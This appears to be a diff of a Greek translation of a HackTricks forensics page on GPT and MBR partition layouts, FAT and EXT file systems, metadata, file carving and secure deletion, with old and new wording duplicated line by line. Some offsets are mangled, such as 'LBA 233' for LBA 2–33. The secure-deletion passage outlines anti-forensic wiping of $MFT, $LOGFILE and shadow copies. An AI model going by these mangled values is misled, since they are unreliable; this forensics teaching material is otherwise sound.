Η **Διεύθυνση Λογικών Τμημάτων** (**LBA**) είναι ένα κοινό σχήμα που χρησιμοποιείται για τον **καθορισμό της τοποθεσίας των τμημάτων** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, κυρίως σε συστήματα δευτερεύουσας αποθήκευσης όπως οι σκληροί δίσκοι. Η LBA είναι ένα ιδιαίτερα απλό γραμμικό σχήμα διεύθυνσης. **Τα τμήματα εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο τμήμα να είναι το LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας των μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστή, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
### GPT (Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών)
### GPT (Πίνακας Κατατμήσεων GUID)
Ο Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικό για το **παγκοσμίως μοναδικό αναγνωριστικό** για τμήματα, ο GPT ξεχωρίζει με διάφορους τρόπους:
Ο Πίνακας Κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικός για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατατμήσεις, το GPT ξεχωρίζει με αρκετούς τρόπους:
* **Τοποθεσία και Μέγεθος**: Τόσο ο GPT όσο και το MBR ξεκινούν από το **τομέα 0**. Ωστόσο, ο GPT λειτουργεί με **64 bits**, αντίθετα με τα 32 bits του MBR.
* **Όρια Τμημάτων**: Ο GPT υποστηρίζει έως και **128 τμήματα** σε συστήματα Windows και φιλοξενεί έως και **9,4ΖΒ** δεδομένων.
* **Ονόματα Τμημάτων**: Προσφέρει τη δυνατότητα να ονομάζετε τμήματα με έως και 36 χαρακτήρες Unicode.
* **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR.
* **Όρια Κατατμήσεων**: Το GPT υποστηρίζει έως **128 κατατμήσεις** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων.
* **Ονόματα Κατατμήσεων**: Προσφέρει τη δυνατότητα ονομασίας κατατμήσεων με έως 36 χαρακτήρες Unicode.
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
* **Επαναληπτικότητα**: Αντίθετα με το MBR, ο GPT δεν περιορίζει την διαίρεση σε τμήματα και δεδομένα εκκίνησης σε ένα μόνο σημείο. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, βελτιώνοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
* **Έλεγχος Κυκλικής Επανάληψης (CRC)**: Ο GPT χρησιμοποιεί το CRC για να εξασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά τη διάβρωση δεδομένων και, όταν ανιχνευθεί, ο GPT προσπαθεί να ανακτήσει τα δεδομένα από άλλη τοποθεσία στο δίσκο.
* **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
* **Έλεγχος Κυκλικής Πλεονασματικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων και, όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
**Προστατευτικό MBR (LBA0)**:
* Ο GPT διατηρεί την συμβατότητα προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτό το χαρακτηριστικό βρίσκεται στον χώρο του παλαιού MBR αλλά σχεδιάστηκε για να αποτρέπει τις παλαιότερες εργαλειοθήκες που βασίζονται στο MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, προστατεύοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους με GPT.
* Το GPT διατηρεί την οπισθοδρομική συμβατότητα μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους σε GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
@ -97,48 +98,61 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Σε λειτουργικά συστήματα που υποστηρίζουν την **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας ενδέχεται να χρησιμοποιείται επίσης για την αποθήκευση του πρώτου σταδίου του κώδικα **εκκίνησης** του **φορτωτή**, αλλά **τροποποιημένος** για να αναγνωρίζει **τμήματα GPT**. Ο φορτωτής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes.
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα του **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte.
**Κεφαλίδα πίνακα τμημάτων (LBA 1)**
**Κεφαλίδα πίνακα κατατμήσεων (LBA 1)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Η κεφαλίδα του πίνακα τμημάτων καθορίζει τα χρήσιμα τμήματα στο δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρήσεων τμημάτων που αποτελούν τον πίνακα τμημάτων (οφσετ 80 και 84 στον πίνακα).
Η κεφαλίδα του πίνακα κατατμήσεων ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατατμήσεων που αποτελούν τον πίνακα κατατμήσεων (offsets 80 και 84 στον πίνακα).
| Οφσετ | Μήκος | Περιεχόμενα |
| Offset | Length | Contents |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)σε μικρότερα μηχανήματα) |
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)σε μηχανές little-endian) |
| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε μικρότερη λειτουργία (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (οφσετ +0 μέχρι μέγεθος κεφαλίδας) σε μικρότερη λειτουργία, με αυτό το πεδίο να μηδενίζεται κατά την υπολογιστική διαδικασία |
| 20 (0x14) | 4 bytes | Κρατούμενο; πρέπει να είναι μηδέν |
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντίγραφου κεφαλίδας) |
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντίγραφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρήσιμο LBA για τμήματα (τελευταίο LBA πρωτεύοντος πίνακα + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα 1) |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτή λειτουργία |
| 72 (0x48) | 8 bytes | Έναρξη LBA ενός πίνακα καταχωρήσεων τμημάτων (πάντα 2 στον πρωτεύον αντίγραφο) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρήσεων τμημάτων στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μεμονωμένης καταχώρησης τμήματος (συνήθως 80h ή 128) |
| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρήσεων τμημάτων σε μικρότερη λειτουργία |
| 92 (0x5C) | \* | Κρατούμενο; πρέπει να είναι μηδέν για το υπόλοιπο του τομέα (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερο με μεγαλύτερα μεγέθη τομέων) |
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως το μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού |
| 20 (0x14) | 4 bytes | Κρατημένο; πρέπει να είναι μηδέν |
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντιγράφου κεφαλίδας) |
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατατμήσεις (τελευταίο LBA κύριου πίνακα κατατμήσεων + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατατμήσεων 1) |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian |
| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατατμήσεων (πάντα 2 στην κύρια αντιγραφή) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατατμήσεων στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατατμήσεων (συνήθως 80h ή 128) |
| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρίσεων κατατμήσεων σε little endian |
| 92 (0x5C) | \* | Κρατημένο; πρέπει να είναι μηδενικά για το υπόλοιπο του μπλοκ (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερα με μεγαλύτερα μεγέθη τομέα) |
**Καταχωρήσεις τμημάτων (LBA 233)**
**Καταχωρίσεις κατατμήσεων (LBA 233)**
| Μορφή καταχώρησης τμήματος GUID | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Οφσετ | Μήκος | Περιεχόμενα |
| 0 (0x00) | 16 bytes | [Οδηγός τύπου τμήματος GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (μικτή λειτουργία) |
| 16 (0x10) | 16 bytes | Μοναδικός οδηγός τμήματος (μικτή λειτουργία) |
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένου, συνήθως περιττό) |
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 υποδηλώνει μόνο για ανάγνωση) |
| 56 (0x38) | 72 bytes | Όνομα τμήματος (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
| Μορφή καταχώρισης GUID | | |
| ----------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Offset | Length | Contents |
| 0 (0x00) | 16 bytes | [GUID τύπου κατατμήσεων](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (μικτό endian) |
| 16 (0x10) | 16 bytes | Μοναδικός GUID κατατμήσεων (μικτό endian) |
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένο, συνήθως περιττό) |
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 δηλώνει μόνο ανάγνωση) |
| 56 (0x38) | 72 bytes | Όνομα κατατμήσεων (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
**Τύποι Κατατμήσεων**
![](<../../../.gitbook/assets/image (492).png>)
Περισσότεροι τύποι κατατμήσεων στο [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### Επιθεώρηση
Αφού τοποθετήσετε την εικόνα ψηφιακής εγκληματολογίας με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε:
![](<../../../.gitbook/assets/image (494).png>)
Αν ήταν ένας **πίνακας GPT αντί για MBR**, θα έπρεπε να εμφανίζεται η υπογραφή _EFI PART_ στον **τομέα 1** (ο οποίος στην προηγούμενη εικόνα είναι κενός).
**
## Συστήματα Αρχείων
### Λίστα Συστημάτων Αρχείων Windows
### Λίστα συστημάτων αρχείων Windows
* **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@ -148,70 +162,70 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### FAT
Το **FAT (File Allocation Table)** σύστημα αρχείων σχεδιάστηκε γύρω από τον πυρήνα του, τον πίνακα εκχώρησης αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, εξασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν ένα από αυτά καταστραφεί. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκονται σε μια **σταθερή τοποθεσία**, η οποία είναι κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
Το **FAT (Πίνακας Κατανομής Αρχείων)** σύστημα αρχείων έχει σχεδιαστεί γύρω από το βασικό του στοιχείο, τον πίνακα κατανομής αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, διασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν το ένα είναι κατεστραμμένο. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκεται σε μια **σταθερή τοποθεσία**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που αποτελείται από πολλούς τομείς. Το FAT έχει εξελιχθεί μέσα από τις εκδόσεις:
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων:
* **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12-bit και χειριζόμενος έως 4078 clusters (4084 με UNIX).
* **FAT16**, ενισχύοντας σε διευθύνσεις 16-bit, επομένως φιλοξενεί έως 65,517 clusters.
* **FAT32**, προχωρώντας περαιτέρω με διευθύνσεις 32-bit, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
* **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις cluster και χειρίζεται έως 4078 clusters (4084 με UNIX).
* **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters.
* **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
Ένα σημαντικό περιορισμό σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το πεδίο 32-bit που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το 32-bit πεδίο που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν:
* **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
* **Χαρακτηριστικά**
* **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
* **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το cluster έναρξης του αρχείου)
* **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου)
* **Μέγεθος Αρχείου**
### EXT
Το **Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη-καταγραφή** διαμερίσματα (**διαμερίσματα που δεν αλλάζουν πολύ**) όπως το διαμέρισμα εκκίνησης. Τα **Ext3/4** είναι **καταγραφικά** και χρησιμοποιούνται συνήθως για τα **υπόλοιπα διαμερίσματα**.
**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατατμήσεις (**κατατμήσεις που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατατμήσεις**.
## **Μεταδεδομένα**
Κάποια αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου το οποίο μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να περιέχει πληροφορίες όπως:
Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου που μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να έχει πληροφορίες όπως:
* Τίτλος
* Έκδοση MS Office που χρησιμοποιήθηκε
* Δημιουργός
* Συγγραφέας
* Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης
* Μοντέλο της κάμερας
* Γεωγραφικές συντεταγμένες
* Συντεταγμένες GPS
* Πληροφορίες εικόνας
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να λάβετε τα μεταδεδομένα ενός αρχείου.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να αποκτήσετε τα μεταδεδομένα ενός αρχείου.
## **Ανάκτηση Διαγραμμένων Αρχείων**
### Καταγεγραμμένα Διαγραμμένα Αρχεία
Όπως είδαμε προηγουμένως, υπάρχουν αρκετά μέρη όπου το αρχείο εξακολουθεί να αποθηκεύεται ακόμα και μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το επισημαίνει ως διαγεγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έπειτα, είναι δυνατόν να ελεγχθούν τα μητρώα των αρχείων (όπως ο MFT) και να βρεθούν τα διαγεγραμμένα αρχεία.
Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατό να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές στο σύστημα αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή τόσες πληροφορίες όσο είναι δυνατόν.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατό να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **Ανάγλυφο Αρχείων**
### **File Carving**
Το **ανάγλυφο αρχείων** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στο μεγάλο όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι λειτουργίας εργαλείων όπως αυτά: **Βασισμένοι στους τίτλους και τους υποσέντρους των τύπων αρχείων**, βασισμένοι στις **δομές των τύπων αρχείων** και βασισμένοι στο **περιεχόμενο** ίδιο.
**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κομμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα μπορέσει να το βρει ή τουλάχιστον ένα μέρος του.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον ένα μέρος του.
Υπάρχουν πολλά εργαλεία που μπορείτε να χρησιμοποιήσετε για το ανάγλυφο αρχείων δείχνοντας τους τύπους αρχείων που θέλετε να αναζητήσετε
Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Ανάγλυφο Ροής Δεδομένων
### Κατασκευή Ροής Δεδομένων
Το Ανάγλυφο Ροής Δεδομένων είναι παρόμοιο με το Ανάγλυφο Αρχείων αλλά **αντί να αναζητά ολοκληρωμένα αρχεία, αναζητά ενδιαφέρουσες αποσπάσματα** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα ολόκληρο αρχείο που περιέχει καταγεγραμμένες διευθύνσεις URL, αυτή η τεχνική θα αναζητήσει τις διευθύνσεις URL.
Η Κατασκευή Ροής Δεδομένων είναι παρόμοια με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα κομμάτια** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -219,5 +233,28 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### Ασφαλής Διαγραφή
Φυσικά, υπάρχουν τρόποι για τη **"ασφαλή" διαγραφή αρχείων και μέρους των καταγραφών σχετικά με αυτά**. Για παράδειγμα, είναι δυνατόν να **αντικαταστήσετε το περιεχόμενο** ενός αρχείου με ανούσια δεδομένα πολλές φορές, και στη συνέχεια **να αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τις Αντιγραφές Σκιών του Δίσκου**.\
Μπορεί να παρατηρήσετε ότι ακόμα και εκτελώντας αυτήν την ενέργεια ενδέχεται να υπάρχουν **άλλα μέρη όπου η ύπαρξη του αρχείου εξακολουθεί να κ
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατό να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και να **αφαιρέσετε τα Volume Shadow Copies**.\
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει.
## Αναφορές
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Πιστοποιημένος Ψηφιακός Εγκληματολόγος Windows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# Εργαλεία Ανάκτησης & Ανάγλυφων Δεδομένων
# File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
